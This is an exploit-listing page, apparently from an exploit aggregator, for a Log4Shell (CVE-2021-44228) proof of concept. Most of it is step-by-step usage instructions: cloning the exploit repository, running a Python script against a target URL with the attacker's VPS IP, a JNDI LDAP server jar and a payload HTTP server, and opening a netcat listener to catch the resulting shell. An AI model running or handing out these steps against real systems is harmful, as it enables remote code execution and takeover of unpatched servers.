Exploit for Expression Language Injection in Apache Log4J CVE-2021-44228

Name: Exploit for Expression Language Injection in Apache Log4J CVE-2021-44228
Rating: 5 (216 reviews)

2024-03-23 | CVSS 10.0

## https://sploitus.com/exploit?id=57A04B68-8CB5-5CEE-999B-B21C3C35AB83
# CVE-2021-44228-POC<br>
exploit CVE-2021-44228 <br>

<br>
download nuclei 
sudo cp nuclei /usr/bin/nuclei<br>
sudo chmod +x /usr/bin/nuclei<br>
git clone https://github.com/sec13b/CVE-2021-44228-POC.git<br>
mv CVE-2021-44228-POC log4shell_exploit<br>
<br>
mkdir yaml
<br>
mv *.yaml yaml/
<br><br>
<br>
run:<br>

python3 log4shell_exploit.py http://ip_to_exploit --nuclei_path /usr/bin/nuclei  /home/ubuntu/log4shell_exploit/yaml/CVE-2021-44228.yaml -i Your_VPS_IP --ldap_jar_path /home/ubuntu/log4shell_exploit/jndi_server.jar  --ldap_port 13012 --http_server_path /home/ubuntu/log4shell_exploit/http_server.py  --http_port 13013  -o /home/ubuntu/log4shell_exploit/output.json  --verbose<br>
<br>
<br>
nc -lvnp 13012